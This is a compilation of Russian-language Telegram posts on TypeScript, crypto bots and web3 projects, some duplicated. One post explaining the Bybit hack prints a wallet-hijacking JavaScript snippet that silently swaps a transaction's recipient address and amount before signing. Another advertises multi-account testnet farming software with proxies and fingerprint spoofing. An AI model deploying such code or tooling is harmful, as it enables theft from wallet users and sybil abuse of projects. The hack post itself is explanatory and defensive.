Урок 14 (TypeScript)
Объекты, индексный тип, оператор "in", цикл "for ... in"
Ссылка на видео
Методичка в notion: Объекты
00:00 - что будем делать
00:41 - что такое объект
02:46 - синтаксис создания объекта
03:40 - добавляем информацию в объект
04:43 - аннотация типов к объекту
05:48 - получение значений по ключу "через точку"
06:42 - индексный тип
12:53 - добавление свойств в объект (3 способа)
16:21 - удаление свойств
17:33 - ключ из нескольких слов. Получение значений по ключу "через квадратные скобки"
P.S. "квадратные кавычки" обозвал как только мог. Получилось забавно
20:01 - висячая запятая
21:08 - изменение константных объектов
22:04 - вычисляемые свойства объекта
23:52 - выражения внутри ключей
24:42 - свойства из переменной
27:38 - ограничения на название ключей
29:25 - почему нельзя использовать proto как ключ
30:25 - оператор in
32:38 - перебор ключей объекта циклом for ... in
37:06 - как работает as keyof
38:49 - дополнительные материалы и практика
40:18 - итоги
SemolinaCode | Chat | YouTube | HowToCode | Prop
📟 Прилетело из @semolina_code_python
☕️ На кофе
Объекты, индексный тип, оператор "in", цикл "for ... in"
Ссылка на видео
Методичка в notion: Объекты
00:00 - что будем делать
00:41 - что такое объект
02:46 - синтаксис создания объекта
03:40 - добавляем информацию в объект
04:43 - аннотация типов к объекту
05:48 - получение значений по ключу "через точку"
06:42 - индексный тип
12:53 - добавление свойств в объект (3 способа)
16:21 - удаление свойств
17:33 - ключ из нескольких слов. Получение значений по ключу "через квадратные скобки"
P.S. "квадратные кавычки" обозвал как только мог. Получилось забавно
20:01 - висячая запятая
21:08 - изменение константных объектов
22:04 - вычисляемые свойства объекта
23:52 - выражения внутри ключей
24:42 - свойства из переменной
27:38 - ограничения на название ключей
29:25 - почему нельзя использовать proto как ключ
30:25 - оператор in
32:38 - перебор ключей объекта циклом for ... in
37:06 - как работает as keyof
38:49 - дополнительные материалы и практика
40:18 - итоги
SemolinaCode | Chat | YouTube | HowToCode | Prop
📟 Прилетело из @semolina_code_python
☕️ На кофе
YouTube
TypeScript с нуля до блокчейна (Урок 14) | Объекты, индексный тип, оператор "in", цикл "for ... in"
Канал в телеграм: https://news.1rj.ru/str/semolina_code_python
Референсы с урока:
Методичка в Notion: https://news.1rj.ru/str/semolina_code_python/121
00:00 - что будем делать
00:41 - что такое объект
02:46 - синтаксис создания объекта
03:40 - добавляем информацию в объект …
Референсы с урока:
Методичка в Notion: https://news.1rj.ru/str/semolina_code_python/121
00:00 - что будем делать
00:41 - что такое объект
02:46 - синтаксис создания объекта
03:40 - добавляем информацию в объект …
похитили около 401 346 ETH ≈ $1,46 млрд
Что произошло?
использовась технику подмены интерфейса пользователя (UI spoofing), что позволило получить доступ к одному из холодных кошельков Ethereum биржи.😎 Хакеры манипулировали процессом подписания транзакций, подменяя данные таким образом, что участники видели корректный адрес получателя, но фактически подтверждали измененную транзакцию.
Как это реализовывается?
Добавляется JavaScript-код на сайте или в расширении кошелька, который: ⬇️
> Перехватывает и изменяет отображаемые пользователю данные
> Меняет содержимое транзакции перед подписью🎹 Подмена адреса получателя
Когда пользователь инициирует перевод, злоумышленник изменяет отображаемый адрес на подлинный (биржи), но перед подписанием транзакции он меняется на адрес хакера.
// Вредоносный код в расширении браузера или на фишинговом сайте
document.getElementById("recipient-address").value = "0xCorrectAddress"; // Подлинный адрес
document.getElementById("amount").value = "10";
// Перехват перед подписанием
window.ethereum.request = async (args) => {
if (args.method === "eth_sendTransaction") {
let tx = args.params[0];
console.log("Оригинальная транзакция:", tx);
// Подмена адреса получателя на адрес хакера
tx.to = "0xHackerAddress";
console.log("Измененная транзакция:", tx);
return originalEthereumRequest({ method: "eth_sendTransaction", params: [tx] });
}
return originalEthereumRequest(args);
};
Код отображает жертве "правильный" адрес, но перед подписанием транзакции изменяет его на адрес хакера.
Подмена Суммы Перевода:
tx.value = "0xde0b6b3a7640000"; // 1 ETH вместо 0.1 ETH
В нашем случае хакеры могли внедрить код в интерфейс биржи или кошелька, который перехватывал и изменял отображаемые пользователю данные. Это могло быть достигнуто через компрометацию веб-сайта биржи, использование фишинговых сайтов или вредоносных расширений браузера.
Что делать?🔫
> нам, как юзерам не держать все на биржах, использовать базовую диверсификацию
ну и☔️
> Включаем Google Authenticator 2FA и отключить SMS.
> Настроить белый список адресов для вывода.
> Проверить URL перед входом в аккаунт.
> Регулярно проверяйте активность аккаунта (IP)
ваши МЫСЛИ?
📟 Прилетело из @code_vartcall
☯️ Почистить карму
Please open Telegram to view this post
VIEW IN TELEGRAM
Функционал
для получения данных будем использовать сторонний апи - pumpportal.fun
pip install requests
Параметры
import requests
import time
# URL для получения данных о новых токенах
API_URL = "https://pumpportal.fun/api/new-tokens"
# пороговые значения для фильтрации
MIN_MINTERS = 100 # Минимальное количество минтеров
MIN_LIQUIDITY = 10 # Минимальная ликвидность в SOL
MIN_PRICE = 0.001 # Минимальная цена в SOL
MAX_PRICE = 1 # Максимальная цена в SOL
# интервал проверки (в секундах)
CHECK_INTERVAL = 60
Получение данных о новых токенах
def fetch_new_tokens():
try:
response = requests.get(API_URL)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
print(f"Ошибка при получении данных: {e}")
return []
Фильтрации токенов по заданным критериям
def filter_tokens(tokens):
filtered = []
for token in tokens:
minters = token.get('minters', 0)
liquidity = token.get('liquidity', 0)
price = token.get('price', 0)
if (minters >= MIN_MINTERS and
liquidity >= MIN_LIQUIDITY and
MIN_PRICE <= price <= MAX_PRICE):
filtered.append(token)
return filtered
Основной Цикл МОНИТОРИНГА
def main():
print("Запуск мониторинга новых мемкоинов на Pump.fun...")
while True:
tokens = fetch_new_tokens()
if tokens:
filtered_tokens = filter_tokens(tokens)
for token in filtered_tokens:
notify(token)
else:
print("Нет новых токенов или ошибка при получении данных.")
time.sleep(CHECK_INTERVAL)
if name == "main":
main()
Кратко расписал как это будет выглядеть
😠 Далее можно добавлять:
> более точные критерии отбора токенов
> отслеживать ранних минтеров
> настроить лимиты на покупку
> И самое интересное проверять механизмы блокировки продаж в смарт-контракте + исключать токены с высоким налогом на продажу (sell tax).
ВАШИ МЫСЛИ?
📟 Прилетело из @code_vartcall
👧 На суши и девочек
Please open Telegram to view this post
VIEW IN TELEGRAM
создал канал, где мы вместе будем развивать web3 сообщество, билдить, изучать и становиться лушче
forms.gle/bbf2Cecu9Bovq2gj9
Первый Набор - 10 человек, далее будем расширяться
Всем Удачи
📟 Прилетело из @code_vartcall
☯️ Почистить карму
Please open Telegram to view this post
VIEW IN TELEGRAM
#новости разработок и прочего:
1. В @viz_mg_bot:
Добавил ссылку регистрации на главную и актуализировал остальные ссылки.
2. Поставил и обновил несколько нод: Pipe, Nexus и пр.
3. Сделал деплои своих смарт-контрактов.
Теперь HyperEVM поддерживается в сервисе создания токенов, в токен-майнерах и в игре Tap Game.
4. Также задеплоил выше указанные сервисы и игру "Камень, ножницы, бумага" в Monad testnet.
5. Написал тред про деплои в HyperEVM от Hyperliquid.
И тред про деплои в Monad.
6. Также опубликовал и тред про Ostium по своему обзору проекта.
7. Начал писать книгу вместе с соавторами по вселенной Galactic ODYSSEY.
Пока не буду писать подробностей, но получается интересно...
8. Ещё в начале февраля написал пост про замену капчи в Discord, но его так и не аппрувнули. В поддержке сказали, что ничего не могут сделать, так как модерацией занимаются другие...
В общем, плохо, что сами рекомендуют публиковать предложения, но их не принимают...
Суть же в том, что я просил в посте заменить капчу HCaptcha на ReCaptcha или Cloudflare, так как HCaptcha недоступна через приложение...
Да и через браузер работает некорректно: запрашивает ответ на вопрос в виде "да " или "нет", но даже если верные вводишь, не даёт войти на сервера...
Приходится просить помощи зрячих, а это не всегда возможно...
Всё. Благодарю за внимание.
Хороших выходных!
Канал (подписаться), Чат | бот | Поддержать донатом
📟 Прилетело из @blind_dev
🍣 На суши
1. В @viz_mg_bot:
Добавил ссылку регистрации на главную и актуализировал остальные ссылки.
2. Поставил и обновил несколько нод: Pipe, Nexus и пр.
3. Сделал деплои своих смарт-контрактов.
Теперь HyperEVM поддерживается в сервисе создания токенов, в токен-майнерах и в игре Tap Game.
4. Также задеплоил выше указанные сервисы и игру "Камень, ножницы, бумага" в Monad testnet.
5. Написал тред про деплои в HyperEVM от Hyperliquid.
И тред про деплои в Monad.
6. Также опубликовал и тред про Ostium по своему обзору проекта.
7. Начал писать книгу вместе с соавторами по вселенной Galactic ODYSSEY.
Пока не буду писать подробностей, но получается интересно...
8. Ещё в начале февраля написал пост про замену капчи в Discord, но его так и не аппрувнули. В поддержке сказали, что ничего не могут сделать, так как модерацией занимаются другие...
В общем, плохо, что сами рекомендуют публиковать предложения, но их не принимают...
Суть же в том, что я просил в посте заменить капчу HCaptcha на ReCaptcha или Cloudflare, так как HCaptcha недоступна через приложение...
Да и через браузер работает некорректно: запрашивает ответ на вопрос в виде "да " или "нет", но даже если верные вводишь, не даёт войти на сервера...
Приходится просить помощи зрячих, а это не всегда возможно...
Всё. Благодарю за внимание.
Хороших выходных!
Канал (подписаться), Чат | бот | Поддержать донатом
📟 Прилетело из @blind_dev
🍣 На суши
#SkateChain: блокчейн, который позволяет работать из одной сети в другой.
(Если нет возможности читать, можете послушать прикреплённое голосовое сообщение с фоновой музыкой ☺).
Впечатлило, когда сделали Telegram бота, в котором можно было через Ton делать ставки в Polymarket. Даже думал, что централизованная фигня, но вроде бы нет: являются AVS Eigenlayer...
Читать в Teletype, читать в Mirror.
Skate Park (основное приложение): https://park.skatechain.org/
Реф. код:
Telegram бот Skate Passport для работы с Polymarket из Ton и выполнения квестов: запустить.
SkateFi (хранилища, в которые можно инвестировать): https://app.skatefi.org/
Общий итог.
18 из 25 или 4 из 5.
• Команда: 3 из 5: из команды со ссылкой только один сотрудник (не оценить профессионализм всех), но активность в соцсетях есть и на вопросы отвечают корректно.
• Концепт: 5 из 5: идея отличная, сеть опирается на безопасность Ethereum благодаря Eigenlayer. Плюс в том, что действия выполняем в любимых пользователем блокчейнах, что позволяет не отказываться от них в пользу новой сети...
• Коин: 2 из 5: Инвестиции есть (хоть и небольшие), но токеномики и ютилити токена нет.
• Код: 4 из 5: репозитории есть, код многого опубликован, коммиты есть, но развитие идёт не очень активно...
• Практика: 4 из 5: удобно всё и понятно, но недоступность Polymarket на Eclipse - плохо. Причин приостанавливать работу не вижу, хотя и новости не читал. Так что возможно она существенная, и минус зря поставил...
Читать в Teletype, читать в Mirror.
Распространяйте статью и отправляйте донаты- это для меня важно.
Благодарю за внимание. Хорошего дня.
📟 Прилетело из @blind_dev
🍣 На суши
(Если нет возможности читать, можете послушать прикреплённое голосовое сообщение с фоновой музыкой ☺).
Впечатлило, когда сделали Telegram бота, в котором можно было через Ton делать ставки в Polymarket. Даже думал, что централизованная фигня, но вроде бы нет: являются AVS Eigenlayer...
Читать в Teletype, читать в Mirror.
Skate Park (основное приложение): https://park.skatechain.org/
Реф. код:
xRYDTeGL3RTelegram бот Skate Passport для работы с Polymarket из Ton и выполнения квестов: запустить.
SkateFi (хранилища, в которые можно инвестировать): https://app.skatefi.org/
Общий итог.
18 из 25 или 4 из 5.
• Команда: 3 из 5: из команды со ссылкой только один сотрудник (не оценить профессионализм всех), но активность в соцсетях есть и на вопросы отвечают корректно.
• Концепт: 5 из 5: идея отличная, сеть опирается на безопасность Ethereum благодаря Eigenlayer. Плюс в том, что действия выполняем в любимых пользователем блокчейнах, что позволяет не отказываться от них в пользу новой сети...
• Коин: 2 из 5: Инвестиции есть (хоть и небольшие), но токеномики и ютилити токена нет.
• Код: 4 из 5: репозитории есть, код многого опубликован, коммиты есть, но развитие идёт не очень активно...
• Практика: 4 из 5: удобно всё и понятно, но недоступность Polymarket на Eclipse - плохо. Причин приостанавливать работу не вижу, хотя и новости не читал. Так что возможно она существенная, и минус зря поставил...
Читать в Teletype, читать в Mirror.
Распространяйте статью и отправляйте донаты- это для меня важно.
Благодарю за внимание. Хорошего дня.
📟 Прилетело из @blind_dev
🍣 На суши
Всем привет, обращаюсь с довольно нестандартным постом
У матери моего друга детства 4-стадия рака, и сейчас ей собирают на лечение
Подробно о этой ситуации можно прочитать тут: https://www.facebook.com/share/p/1EWyVX2XoF/?mibextid=wwXIfr
Кому не сложно помочь, закиньте небольшой донат от себя, или сделайте репост поста
моно банка: https://send.monobank.ua/jar/7oqBo3w5Ek
BEP20:
TRC20:
SOL:
Все адреса биржевые!
Крипто донаты так же будут переказаны с пруфами
📟 Прилетело из @iliocka
📟 На серваки
У матери моего друга детства 4-стадия рака, и сейчас ей собирают на лечение
Подробно о этой ситуации можно прочитать тут: https://www.facebook.com/share/p/1EWyVX2XoF/?mibextid=wwXIfr
Кому не сложно помочь, закиньте небольшой донат от себя, или сделайте репост поста
моно банка: https://send.monobank.ua/jar/7oqBo3w5Ek
BEP20:
0x4f99dd4a584cd06d206f8c6196c1611bea17a119TRC20:
TYsVgj8svoeCy1u6gibhQU3K3wFYjzRsh7SOL:
9KMf4xzTrtG7kfTg3KxUedw7QB9iNX6fT28KFM3CLBYrВсе адреса биржевые!
Крипто донаты так же будут переказаны с пруфами
📟 Прилетело из @iliocka
📟 На серваки
Закрытый Канал упдейт
Сегодня последний день принятия заявок
http://forms.gle/bbf2Cecu9Bovq2gj9
Завтра начинаем🍑
📟 Прилетело из @code_vartcall
🍣 На суши
Сегодня последний день принятия заявок
http://forms.gle/bbf2Cecu9Bovq2gj9
Завтра начинаем
📟 Прилетело из @code_vartcall
🍣 На суши
Please open Telegram to view this post
VIEW IN TELEGRAM
Прошло чуть больше месяца с момента запуска и за такой короткий период времени мы достигли отметки в 1 тысячу пользователей,, спасибо. что выбираете Proxyshard.com🚀
В честь этого мы дарим вам промокод - 1k, который даёт скидку 20% до 3 марта.
Добавление новых регионов затянулось из-за некоторых юридических проблем, но мы практически решили их и в марте будут запущены две новые локации - Нидерланды и Украина.
Для инфлюенсеров напоминаю, что у нас действует двухуровневая реферальная система на индивидуальных условиях. Для уточнения деталей обращайтесь в лс @Kr1ts
P.s На скриншоте айпи датацентр проксей
📟 Прилетело из @KritosLTD
📟 На серваки
В честь этого мы дарим вам промокод - 1k, который даёт скидку 20% до 3 марта.
Добавление новых регионов затянулось из-за некоторых юридических проблем, но мы практически решили их и в марте будут запущены две новые локации - Нидерланды и Украина.
Для инфлюенсеров напоминаю, что у нас действует двухуровневая реферальная система на индивидуальных условиях. Для уточнения деталей обращайтесь в лс @Kr1ts
P.s На скриншоте айпи датацентр проксей
📟 Прилетело из @KritosLTD
📟 На серваки
Please open Telegram to view this post
VIEW IN TELEGRAM
что за monad?
monad.xyz
L1 совместимый с EVM, разработан для решения проблем масштабируемости и эффективности
параллельное выполнение транзакций и оптимизированная база данных MonadDB, сеть способна обрабатывать до 10 000 транзакций в секунду при времени блока в 0,5 секунды и почти нулевых комиссиях за газ.
СЕГОДНЯ РАЗБЕРЕМ ЧТО ДА КАК!!!
1. Запрос Токенов на testnet.monad.xyz
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time
WALLET_ADDRESS = "0xКошелек”
# настройка WebDriver
options = webdriver.ChromeOptions()
options.add_argument("--headless") # Запуск без графического интерфейса
driver = webdriver.Chrome(options=options)
def request_tokens():
try:
Открываем страницу крана
driver.get("https://testnet.monad.xyz/")
time.sleep(3) # Ждем загрузки
# находим поле ввода и вводим адрес кошелька
input_field = driver.find_element(By.XPATH, "//input[@type='text']")
input_field.send_keys(WALLET_ADDRESS)
time.sleep(1)
# Нажимаем кнопку запроса токенов
request_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Request Testnet ETH')]")
request_button.click()
print("✅ Запрос тестовых токенов отправлен!")
except Exception as e:
print("❌ Ошибка при запросе токенов:", e)
finally:
driver.quit()
# запускаем
request_tokens()
Далее
Переходим на сайт и коннектим кошелёк
Вводим код: 7AA0B | 2B2EB | C51B2 | C24B6 | C26D0
Минтим Rookie NFT
CODES = [
"7AA0B", "2B2EB", "C51B2", "C24B6", "C26D0"
]
options = webdriver.ChromeOptions()
options.add_argument("--headless")
driver = webdriver.Chrome(options=options)
def mint_nft():
try:
driver.get("https://monad.talentum.id/projects")
time.sleep(3) # ждем загрузки
for code in CODES:
try:
print(f" Пробуем код: {code}")
# находим поле ввода кода и вводим его
input_field = driver.find_element(By.XPATH, "//input[@type='text']")
input_field.clear()
input_field.send_keys(code)
time.sleep(1)
# нажимаем кнопку подтверждения
submit_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Submit')]" )
submit_button.click()
time.sleep(5) # ждем ответа
# проверяем, появилась ли кнопка "Mint Rookie NFT"
try:
mint_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Mint Rookie NFT')]")
mint_button.click()
print("✅ NFT успешно заминчен!")
break # Прекращаем цикл, если удалось заминтить
except:
print(f"❌ Код {code} не сработал, пробуем следующий...")
except Exception as e:
print(f"⚠ Ошибка с кодом {code}: {e}")
finally:
driver.quit()
print("🚀 Скрипт завершил работу.")
#Запуск
mint_nft()
Задачи из гайда я брал тут 🤛
Думаю ПОРА написать ПОЛНОЦЕННЫЙ СОФТ!!
КАК ВАМ ИДЕЯ, ГАЙС????
📟 Прилетело из @code_vartcall
☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3
А я буду праздновать др так:
~ Kiwi Wang ~~~
~ head of ~~~~~
~ comminuty ~~
~ @ tonstakers ~
// 27 февраля
18:00 МСК //
// 3 PM UTC
Залетайте на праздничный эфир:
// https://news.1rj.ru/str/+40QmfilAWLplMDEy
📟 Прилетело из @danokhlopkov
☕️ На кофе
ОТКРЫТАЯ ЛЕКЦИЯ
НАШЕГО ПРЕ-АКСЕЛЕРАТОРА
~ Kiwi Wang ~~~
~ head of ~~~~~
~ comminuty ~~
~ @ tonstakers ~
// 27 февраля
18:00 МСК //
// 3 PM UTC
Залетайте на праздничный эфир:
// https://news.1rj.ru/str/+40QmfilAWLplMDEy
📟 Прилетело из @danokhlopkov
☕️ На кофе
Telegram
🧑🏻💻 Dan | Текстовый Вебинар
скоро что-то будет
#комментарии - дайджест интересных статей:
1. Ensemble Hub: экономика взаимодействия ИИ-агентов.
X статья о проекте. Если кратко, реализуют функционал проверяемых взаимодействий ИИ-агентов.
Это позволит заказывать услуги одному ИИ-агенту у другого.
Представьте ситуацию: ИИ-агент, который создаёт очередной мемкоин. Он принимает платёж от человека-заказчика. Далее оплачивает работу ИИ-агента, который создаёт смарт-контракт. Оплачивает работу ИИ-агента, работающего в соцсетях, ИИ-агента дизайнера и пр...
В итоге получается полноценный проект.
При этом, благодаря AVS (автономным проверяемым сервисам EigenLayer) обман невозможен.
2. Про потерю средств в Abstract.
Cardex на уровне своего интерфейса создавали одного подписчика сессионных ключей для всех пользователей, да ещё и хранили эти ключи в открытом виде. В результате злоумышленник и смог украсть ETH…
Теперь все проекты в их каталоге экосистемы будут обязаны проводить не только аудиты контрактов, но и аудиты интерфейсов и использования сессионных ключей (они созданы для удобства пользователей).
3. Переосмысление AVS: от активно проверяемых к автономным проверяемым сервисам.
Статья от EigenLayer. Изменений пока нет: просто меняют терминологию.
Автономные - это что после развёртывания сервисы не зависят ни от какого центрального органа. Любой может застейкать и присоединиться к проекту.
Проверяемые - действия операторов проверяются. В случае нарушения может быть слешинг.
Цель EigenLayer — создавать системы, которые не просто работают сегодня, но могут адаптироваться и процветать в развивающемся ландшафте Web3.
4. Механика Unit protocol.
X статья о сервисе моста, через который передаются BTC в Hyperliquid. В будущем и другие .
Кратко:
Unit обеспечивает безопасный ввод и вывод активов через Guardian Network — сеть операторов, управляющих нодами на разных блокчейнах.
Ввод: Пользователь отправляет активы на выделенный адрес в исходной сети (привязан к HL адресу), после подтверждения транзакции и проверки валидаторами Hyperliquid Guardian Network выпускает их эквивалент.
Процесс вывода: Пользователь вводит внешний адрес, куда хочет вывести активы. Далее Guardian Network генерирует адрес для вывода с Hyperliquid. Пользователь отправляет активы на этот адрес. Guardian Network проверяет транзакцию. Средства отправляются в исходную сеть и зачисляются на указанный адрес.
Безопасность
Guardian Network использует MPC TSS (разделение ключей) и консенсус (2 из 3 Guardians). Встроенная система блокировки при аномалиях предотвращает атаки.
Unit не взимает комиссии, пользователи оплачивают только сетевые сборы.
Всё. Благодарю за внимание. Хорошего дня!
Канал (подписаться), Чат | бот | Поддержать донатом
📟 Прилетело из @blind_dev
☕️ На кофе
1. Ensemble Hub: экономика взаимодействия ИИ-агентов.
X статья о проекте. Если кратко, реализуют функционал проверяемых взаимодействий ИИ-агентов.
Это позволит заказывать услуги одному ИИ-агенту у другого.
Представьте ситуацию: ИИ-агент, который создаёт очередной мемкоин. Он принимает платёж от человека-заказчика. Далее оплачивает работу ИИ-агента, который создаёт смарт-контракт. Оплачивает работу ИИ-агента, работающего в соцсетях, ИИ-агента дизайнера и пр...
В итоге получается полноценный проект.
При этом, благодаря AVS (автономным проверяемым сервисам EigenLayer) обман невозможен.
2. Про потерю средств в Abstract.
Cardex на уровне своего интерфейса создавали одного подписчика сессионных ключей для всех пользователей, да ещё и хранили эти ключи в открытом виде. В результате злоумышленник и смог украсть ETH…
Теперь все проекты в их каталоге экосистемы будут обязаны проводить не только аудиты контрактов, но и аудиты интерфейсов и использования сессионных ключей (они созданы для удобства пользователей).
3. Переосмысление AVS: от активно проверяемых к автономным проверяемым сервисам.
Статья от EigenLayer. Изменений пока нет: просто меняют терминологию.
Автономные - это что после развёртывания сервисы не зависят ни от какого центрального органа. Любой может застейкать и присоединиться к проекту.
Проверяемые - действия операторов проверяются. В случае нарушения может быть слешинг.
Цель EigenLayer — создавать системы, которые не просто работают сегодня, но могут адаптироваться и процветать в развивающемся ландшафте Web3.
4. Механика Unit protocol.
X статья о сервисе моста, через который передаются BTC в Hyperliquid. В будущем и другие .
Кратко:
Unit обеспечивает безопасный ввод и вывод активов через Guardian Network — сеть операторов, управляющих нодами на разных блокчейнах.
Ввод: Пользователь отправляет активы на выделенный адрес в исходной сети (привязан к HL адресу), после подтверждения транзакции и проверки валидаторами Hyperliquid Guardian Network выпускает их эквивалент.
Процесс вывода: Пользователь вводит внешний адрес, куда хочет вывести активы. Далее Guardian Network генерирует адрес для вывода с Hyperliquid. Пользователь отправляет активы на этот адрес. Guardian Network проверяет транзакцию. Средства отправляются в исходную сеть и зачисляются на указанный адрес.
Безопасность
Guardian Network использует MPC TSS (разделение ключей) и консенсус (2 из 3 Guardians). Встроенная система блокировки при аномалиях предотвращает атаки.
Unit не взимает комиссии, пользователи оплачивают только сетевые сборы.
Всё. Благодарю за внимание. Хорошего дня!
Канал (подписаться), Чат | бот | Поддержать донатом
📟 Прилетело из @blind_dev
☕️ На кофе
Говорят, грядёт hardhat 3 https://hardhat.org/hardhat3-alpha
📟 Прилетело из @dev_in_ruby_colors
🍣 На суши
📟 Прилетело из @dev_in_ruby_colors
🍣 На суши
Бот для тестнета Monad.
Тестнет вышел вчера вечером, сделали базовый функционал для прогона аккаунтов. Остальные приложения уже добавляются и софт будет обновляться по мере их готовности.
Функционал:
Все обновления по софту публикуются в чате - @StarLabsChat.
Туда же пишите пожелания что добавить в софт.
📟 Прилетело из @developercode1
🍣 На суши
Please open Telegram to view this post
VIEW IN TELEGRAM
Голопом по тестнетам...
В срочном порядке отполировали софтик для того, чтобы стать Early в Monad.
Час назад в твиттере проекта вышел пост, что сегодня последний день, чтобы стать Early. Не знаю, рофлят они или на полном серьезе пишут - времени гадать нет. Надо делать!
Софт умеет:
— Клеймить токены $MON на фаусетах. Если есть на gas.zip - может покупать там.
— Регистрировать аккаунты в Fantasy.
— Делать стрики в Talentum и Fantasy.
— Деплои на Owlto, минты на MagicEden, свапы на площадках и минт NAD домена.
— Многопоток, прокси, отпечатки, случайные задержки, случайные маршруты.
F.A.Q:
— Для работы нужны обязательно прокси. Чем качественнее - тем лучше.
— Дополнительно для работы могут понадобиться твиттеры
— Может понадобиться антикапча с этого сервиса: ТЫК🔗
📟 Прилетело из @oxygen_tools
☯️ Почистить карму
Please open Telegram to view this post
VIEW IN TELEGRAM
В связи с большим хаком Bybit (подробности взлома) запущена форма приема репортов (твит; сайт), где можно проявить навыки сыщика и зарепортить места, куда отмываются токены, стейблы, а регулируемые площадки могут не догадываться о рисках, но могут пойти на сотрудничество.
Уже размечено 10% средств, еще 90% не размечены и ждут репортов, за которые есть шанс получить награду в 5% и 5% площадке, что содействует.
Это вам не кошельки ММов/раннеров искать))
Хорошая почва для развития детективных навыков и пример кооперации.
📟 Прилетело из @invmru
☯️ Почистить карму
Уже размечено 10% средств, еще 90% не размечены и ждут репортов, за которые есть шанс получить награду в 5% и 5% площадке, что содействует.
Это вам не кошельки ММов/раннеров искать))
Хорошая почва для развития детективных навыков и пример кооперации.
📟 Прилетело из @invmru
☯️ Почистить карму
универсальная структура для написания ботов, скриптов для блокчейна, арбитражных ботов etc
🤩 main.py– Точка входа в программу. Здесь инициализация сервисов и запуск основных процессов.
-config.py– Хранит основные параметры - RPC-эндпоинты, используемые сети, комиссии и т. д.
-utils/logger.py– Настройка логирования черезloggingдля отладки и мониторинга.👊
-utils/encryption.py– Безопасная работа с приватными ключами (хранение в.envи дешифрование при запуске)
-services/eth_service.py- Функции для взаимодействия с Ethereum через web3.py
-bots/arbitrage_bot.py- Код арбитражного бота, отслеживающего спреды между биржами.
-tests/– Unit-тесты, чтобы проверить работоспособность кода💰
.env файлы
PRIVATE_KEY=0x123456789...
INFURA_API=https://mainnet.infura.io/v3/айди-проекта
TELEGRAM_BOT_TOKEN=your_bot_token
Загружаем переменные через
python-dotenv:from dotenv import load_dotenv
import os
load_dotenv()
PRIVATE_KEY = os.getenv("PRIVATE_KEY")
INFURA_API = os.getenv("INFURA_API")
Управление Зависимостями
В
requirements.txt и фиксируем зависимости:web3
python-dotenv
requests
pandas
pytelegrambotapi
pip install -r requirements.txt
Ну и на финал запускаем через Docker
DockerFile
FROM python:3.12
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
CMD ["python", "main.py"]
далее сборка и запуск
docker build -t crypto_project .
docker run --env-file .env crypto_project
ВАШИ ДОПОЛНЕНИЯ ??!!!
📟 Прилетело из @code_vartcall
☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1